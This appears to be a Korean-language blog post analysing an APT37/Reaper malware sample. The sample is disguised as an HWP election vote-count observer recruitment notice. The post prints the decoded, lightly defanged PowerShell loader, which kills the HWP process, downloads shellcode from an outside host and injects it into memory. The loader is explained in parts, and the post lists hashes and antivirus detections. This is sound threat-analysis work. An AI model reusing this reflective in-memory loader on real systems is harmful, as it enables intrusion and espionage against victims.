꿈을꾸는 파랑새

오늘은 북한 해킹 단체 Reaper(리퍼)에서 만든 악성코드인 제20대_대통령선거_선거권자_개표참관인_공개_모집(최종).hwp(2022.8.15)에 대해서 글을 적어 보겠습니다. Reaper 또는 Group123 이라고 부르고 있고 Reaper(리퍼) 라고 부르는 APT 공격 단체이며 2012년부터 활동을 시작했고 정보 수집, 정찰 및 사이버 스파이 활동을 목적으로 하며, 정부, 군사, 대기업, 인권 단체를 대상으로 하고 있으며 즉 한국의 외교 및 국내 문제에 초점이 맞추어져 있으며 일본, 베트남, 중동 및 기타 지역의 기업을 대상으로 해서 회사 기밀 등을 탈취하고 있습니다. (화학, 전자, 제조, 항공 우주, 자동차, 의료)
APT37,Inky Squid,RedEyes,ScarCruft,Ricochet Chollima 등으로 이름으로 활동을 하고 있습니다. 록랫(RokRAT)은 마이크로소프트 오피스 에서 매크로를 기본값을 사용 안 함 그리고 사용자 인식 개선들의 이유로 매크로를 통한 약발이 안 먹히는지 최근 ilk 파일 형식으로 유포하고 있으며 해당 부분을 분석하면 기본적으로 파워셀(PowerShell)을 통해서 감염을 시도하면 나머지는 더미 파일로 채워져 있는 것이 특징입니다.
자격 증명 도용, 데이터 유출, 스크린 샷 캡처, 시스템 정보 수집, 명령 및 셸 코드 실행, 파일 및 디렉터리 관리에 사용됩니다. Reaper는 종종 C2용 클라우드 스토리지 서비스를 사용하는 것이 특징입니다.
ROKRAT 감염 체인을 분석하는 동안 지하 포럼에서 판매되는 상업용 RAT인 Amadey를 배포하는 유사한 체인을 사용하는 것이 특징입니다. 
APT37의 ROKRAT 작전과 관련이 있습니다. 일단 해당 파일이 어떻게 구성이 돼 있는지 확인을 위해서 Exeinfo PE 를 사용을 해서 한번 보겠습니다. 해당 결과를 보면 NOT EXE - .cmd/bat  - Windows batch file ( via @echo off - detector )로 돼 있는 것을 확인했습니다

Exeinfo PE 본 악성코드 정보
Exeinfo PE 본 악성코드 정보

OK 이젠 노트 패드++로 열어보면 PowerShell(파워셀)로 코드들이 있는 것을 볼 수가 있으며 이번에도 사람 귀찮게 하려고 HEX로 꼬아놓은 것을 볼 수가 있습니다. 이걸 해결하려면 역시 영국 정부통신본부(Government Communications Headquarters (GCHQ))만든 CyberChef 로 요리를 하면 됩니다.
일단 제목을 보면 2022년3월9일에 치러진 제20대 대통령 선거를 하고 장난친 것을 확인할 수가 있으며 제목이 제20대_대통령선거_선거권자_개표참관인_공개_모집(최종).hwp 으로 보아서 중앙선거관리위원회 직원을 노렸거나 아니며 개표참관인에 대해 관심이 있는 분들을 타겟으로 한 것을 추측할 수가 있습니다. HWP 
OLE는 ㈜한컴에서 개발한 한국의 인기 워드프로세서 소프트웨어이며 해당 악성코드는 OLE 기술을 사용하여 HWP 파일에 해로운 콘텐츠나 코드를 삽입을 사용합니다.
앞서 이야기한 것처럼 사회 공학(社會工學,social engineering,ソーシャル ・ エンジニアリング) 공격 사람의 신뢰를 무너뜨리는 공격을 한 것입니다.

악성코드 에 포함된 HEX CyberChef 로 디코딩
악성코드 에 포함된 HEX CyberChef 로 디코딩

이메일 발신자
보내는 사람:중앙선거관리위원회  공보과 (kopo1scom98@daum(.)net) 
아무튼 아니 중앙선거관리위원회에서 다음 메일을 사용할 일은 없으니 일단 이거 피싱+악성코드 유포를 하기 위한 목적인 것을 확인할 수가 있습니다.
이메일에는 BAT 스크립트 형태의 OLE 개체가 포함된 HWP Doc이 포함되어 있으며 해당 악성코드를 사용자가 실행하면 OLE 개체에서 BAT 스크립트가 실행되어 PowerShell 기반 반사 DLL 주입 공격이 생성하는 과정을 거치게 됩니다.

피해자 컴퓨터에서 페이로드 메모리로 로드

hxxps://work3(.)b4a(.)app

작업은 악성 코드를 메모리에 직접 로드 하기 위함
악성코드 해쉬값
파일명:제20대_대통령선거_선거권자_개표참관인_공개_모집(최종).hwp
사이즈:10.2 KB
MD5:7fcda694bbd3640d7fe1cbdf4ef3751d
SHA-1:21b25271deb8075cd7e5cd2adec4c02b78890bea
SHA-256:5fec6e533fb9741997530a3d43b60ee44e2e6dc0fd443ef135b9d311b73d92a8
아니면 327.bat 스크립트로 돼 있음
아무튼, 해당 HEX를 디코딩하면 다음과 같습니다.

악성코드 HEX 디코딩 결과
악성코드 HEX 디코딩 결과

$kky4='[DllImport("user32.dll")] public static extern bool ShowW
indow(int handle, int state);';$mmy4=Add-Type -Member(D)efinition $kky4
-Name "k(k)y4" -PassThru;$mmy4::(S)howWindow(([System(.)Diagnostics.Process]
::GetCurrentProcess() | Get-Process)(.)MainWindowHandle, 0);$a(y)4=Get-Wm(i)
Object Win32_Process -filter "Name li(k)e 'Hwp%'";$by4=$ay4(.)Name;$cy4=$ay4
.CommandLine;if($by4){$dy4="/c taskkill /f /im "(+)$by4;cmd $dy4;wait-process
$by4.Split('\(.)')[-2];$ey4=$cy4(.)Split('"').count(;)if($cy4[0] -eq '"')
{if($(e)y4 -eq 3){$fy4=$cy4.S(p)lit('"')[2].S(p)lit(' ')[1];}e(l)seif($ey
4 -eq (5)){$fy4=$cy(4).Split('"')[3];}}(e)lse{if($ey4 -eq 3){($)fy4=$c(y)
4.Split('"')[1];}els(e){$fy4=$cy4.Split(' ')[1];}}$gy(4)=""""+$env:TEMP(+
)"\hhbrgof6(.)tmp"+"""";$hy4=""""+$env:TEMP(+)"\327(.)bat"+"""";$iy4=""""+
$fy4+"""";$dy4="(/)c copy /y "+$gy4+" "(+)$iy4;($)pey4=0;$psy4='0';do{$p
(e)y4++;$psy4=c(m)d $dy4;sleep 1;if($pey4 -(e)q 5){break;}}(w)hile($psy4.
Trim()[0] -(n)e '1');start ($)iy4;}$jy4="cmd /c del /f "+ $gy4;c(m)d $jy
4;$jy4="cmd /c del /f "+ $hy4;cmd $jy4;[Net.ServicePointManager]::Secur
ityProtoc(o)l=[Enum]::ToObject([Net(.)SecurityProtocolType], 3072);$ly4='
[D(l)lImport("kernel32(.)dll")]public static extern IntPtr Globa(l)Alloc
(uint b,uint c);';$b=Add(-)Type -MemberDe(f)inition $ly4 -Name "A(A)A"
-PassThru;$my4 = '[DllImport("kernel32.dll")]public static extern bool
VirtualProtect(IntPtr a,uint b,uint c,out IntPtr (d);';$ky4=Add-Type
-MemberDefinition $my4 -Name "AAB" -PassThru;$c = New(-)Object System
.Net.WebClient;$d="https://work3(.)b4a(.)app/download(.)html?id=88&se
arch=TUh3M0xEZ3NPQzR4TERFd2ZHSnZaSGt1ZEdGaWJH(V)XFLazkwYUdWeWZIeGliMl
I1TG5SaFlteGw=(");$n(y)4='[DllIm(p)ort("kernel32.dll")]public static 
e(x)tern IntPtr Cr(e)ateThread(IntPtr a(,)uint b,IntPtr c(,)IntPtr d,
uint e,IntPtr f);';$qy4=Ad(d)-Type -MemberDef(i)nition $ny4 -Name "BB
B" -Pas(s)Thru;$oy4='[DllImport("kernel32(.)dll")]public s(t)atic ext
ern IntPtr WaitForSingleObject(IntPtr (a),uint b);';$ty(4)=Add-Type -
Mem(b)erDefinition $oy4 -N(a)me "DDD" -PassT(h)ru;$e=112;do {  try { 
$c.Headers["user-agent"] = "uuu(u)uuuuu";$py4=$c.Down(l)oadData($d);$
uy4 = $b::Glo(b)alAlloc(0x0040, $py4(.)Length+0x100);$ry4 = 0;$ky4::V
irtu(a)lProtect($uy4, $py4(.)Length+0x100, 0x4(0), [r(e)f]$ry4);for (
$h = 0;($)h -lt $py4.(L)ength;$h++) {[System.Runtime.InteropServices(
.)Marshal]::Writ(e)Byte($uy4, $h, $p(y)4[$h]);};try{t(h)row 1;}catch{
$sy4=$qy4::C(r)eateThread(0,0,$uy4(,)0,0,0);$ty4(:):WaitForS
ing(l)eObject($sy4, 500*1000);};$e=222;}catch{sleep 2(;)$e++;}}while($e -lt 114);

코드 설명

해당 PowerShell 코드는 다음과 같은 기능을 수행
1. 외부 DLL 호출:
코드는 외부 DLL인 user32.dll 과 kernel32.dll 에서 함수를 가져와 사용
ShowWindow 함수는 윈도우 창을 보이거나 숨기는 기능
GlobalAlloc 함수는 메모리를 할당
VirtualProtect 함수는 메모리 영역의 보호 속성을 변경
CreateThread 함수는 새로운 스레드를 생성
WaitForSingleObject 함수는 스레드나 프로세스의 상태를 확인하고 대기
2.HWP 프로세스 조작:
PowerShell은 Get-WmiObject를 사용하여 실행 중인 HWP(Hangul Word Processor) 프로세스를 찾음
찾은 프로세스를 taskkill 명령을 사용하여 강제로 종료
종료된 프로세스의 명령줄 정보를 가져옴
스크립트에서 taskkill 명령은 다음과 같은 형태로 사용됩니다.
$dy4="/c taskkill /f /im "(+)$by4;
cmd $(d)y4;
wait-process $by4(.)Split('\.')[-2];
여기서 $by4 변수에는 HWP 프로세스의 이름이 저장되어 있음
taskkill: 실행 중인 프로세스를 종료하는 명령
/f: 강제 종료 옵션 해당 옵션이 사용되면 프로세스가 사용 중이더라도 강제로 종료
/im:이미지 이름을 기반으로 프로세스를 종료하는 옵션 여기서 이미지 이름은 프로세스의 이름을 의미
$by4:HWP 프로세스의 이름을 포함하는 변수 이를 통해 특정한 프로세스를 종료하게 됩니다.
따라서 코드는 HWP 프로세스를 강제로 종료하는 명령어를 실행
3. 임시 파일 작업:
코드는 임시 폴더에 hhbrgof6(.)tmp와 327(.)bat 파일을 생성
4. 파일 복사 시도:
임시 파일인 hhbrgof6(.)tmp를 다른 파일로 복사하는 작업을 시도
복사를 시도하는 파일 경로를 저장
5. URL 접속 및 실행:
PowerShell은 System.Net(.)WebClient를 사용하여 지정된 URL에서 파일을 다운로드
내려받은 파일을 메모리에 로드하고 실행
해당 코드 외부 DLL을 사용하여 윈도우 시스템 함수를 호출하고 실행 중인 프로세스를 조작 임시 파일을 생성하고 복사하는 등의 작업을 수행
쉘코드 스테이저가 다운되어 메모리에 로드된 쉘코드를 가져올 수 없었음

ProcessExplorer 로 악성코드 PowerShell 실행
ProcessExplorer 로 악성코드 PowerShell 실행

hxxps://work3(.)b4a(.)app/download.html?id=88&search(=)TUh3M0xEZ(3)NPQzR4
TE(R)Fd2ZHSnZaSGt1ZEd(G)aWJHVXFLazkwY(U)dWeWZ
IeGliM(l)I1TG5SaFlteGw=";$ny4=

Add-Type이 종료되면 모든 파일이 제거
hhbrgof6.tmp & 327.bat를 통해서 정리 작업을 하는것 같음

TLS12를 사용하여 SSL/TLS 보안 채널을 설정

[Net.ServicePointManager]::(S)ecurityProtocol=[Enum]::
ToObject([Net.SecurityProtocol(T)ype], 3072)

해당  코드는 TLS 1.2 프로토콜을 사용하도록 설정
1.[Net.ServicePointManager]::SecurityProtocol: ServicePointManager 클래스의 SecurityProtocol 속성에 접근
해당 속성은 통신에 사용될 보안 프로토콜을 설정하는 데 사용
2.[Enum]::T(o)Object([Net.SecurityPro(t)ocolType], 3(0)72):ToObject 메서드를 사용하여 SecurityProtocolType 열거형에서 TLS 1.2 프로토콜을 나타내는 값(3072)을 가져옴
해당 값을 TLS 1.2 프로토콜에 해당하는 열거형 상수로 변환
3. =:최종적으로, TLS 1.2 프로토콜을 나타내는 열거형 상수를 SecurityProtocol 속성에 할당하여 TLS 1.2 프로토콜을 사용하도록 설정
네트워크 통신 시 보안 프로토콜을 명시적으로 설정하는 방법
GlobalAlloc에 액세스 하기 위해 Kernel32를 가져오는 추가 클래스를 생성

VirtualProtect 사용

$ly4='[DllImport("kernel32(.)dll")]public static extern IntPtr Global
Alloc(uint b,uint c);';$b(=)Add-Type -MemberDefini
(t)ion $ly4 -Name "AAA"  -PassThru

코드 설명

코드는 PowerShell에서 kernel32.dll 에서 제공하는 GlobalAlloc 함수를 사용할 수 있는 .NET 형식을 동적으로 추가하는 방법 을 사용
1.$ly4` 변수에는 GlobalAlloc 함수를 호출하는 데 사용되는 C# 선언문이 포함되어 있으며 해당 함수는 메모리를 할당하는 데 사용됩니다.
[DllImport("kernel32(.)dll")]
public static extern In(t)Ptr GlobalAlloc(uint (b), uint c);
해당 선언문은 DllImport 특성을 사용하여 kernel32(.)dll 에서 GlobalAlloc 함수를 가져오라고 지시
2.Add-Type cmdlet을 사용하여 $ly4에 정의된 C# 코드를 사용하여. NET 형식을 추가
$b = Add-Type (-)MemberD(e)finition $ly4 -Name "AAA" -PassThru
이렇게 하면 $ly4에 정의된 C# 코드가 PowerShell 환경에 추가되어. NET 형식이 되고 -Name AAA 옵션은 해당 형식의 이름을 AAA 로 설정
-PassThru 옵션은 추가된 형식을 반환하여 변수 $b에 할당
이렇게 하며 PowerShell 스크립트에서 Windows API 함수를 호출하기 위한 .NET 형식을 동적으로 추가할 수 있습니다.
아무튼 Add-Type cmdlet이 실행되면 호스트에서 CSC.exe(Visual C# 명령줄 컴파일러)가 호출해서 Powershell.exe → CSC.exe → cvtres.exe 이렇게 해서  .cmdline으로 %appdata%\local\temp 내에 생성
하는것 같은데 말이죠.
일단 수레코드 스테이지가 다운 되었기 때문에 더는 진행을 할 수가 없었습니다.
바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
ALYac:Trojan.PowerShell.Agent
Antiy-AVL:Trojan/Script.Wacatac
Arcabit:Trojan.Generic.D447E587
BitDefender:Trojan.GenericKD.71820679
Emsisoft:Trojan.GenericKD.71820679 (B)
eScan:Trojan.GenericKD.71820679
ESET-NOD32:PowerShell/TrojanDownloader.Agent.IDD
GData:Trojan.GenericKD.71820679
Ikarus:Trojan-Downloader.PowerShell.Agent
Kaspersky:Trojan.PowerShell.Agent.tg
Kingsoft:Win32.Troj.Undef.a
MAX:Malware (ai Score=83)
Microsoft:Trojan:Win32/Casdet!rfn
Trellix (FireEye):Trojan.GenericKD.71820679
VIPRE:Trojan.GenericKD.71820679
일단 개인적으로 사용하는 시만텍(Symantec)에서는 탐지를 하지 못해서 해당 악성코드를 샘플을 제공을 해서 신고를 했습니다. Avira(아비라)도 마찬가지 아무튼 제20대_대통령선거_선거권자_개표참관인_공개_모집이라는 악성코드를 분석해 보았습니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band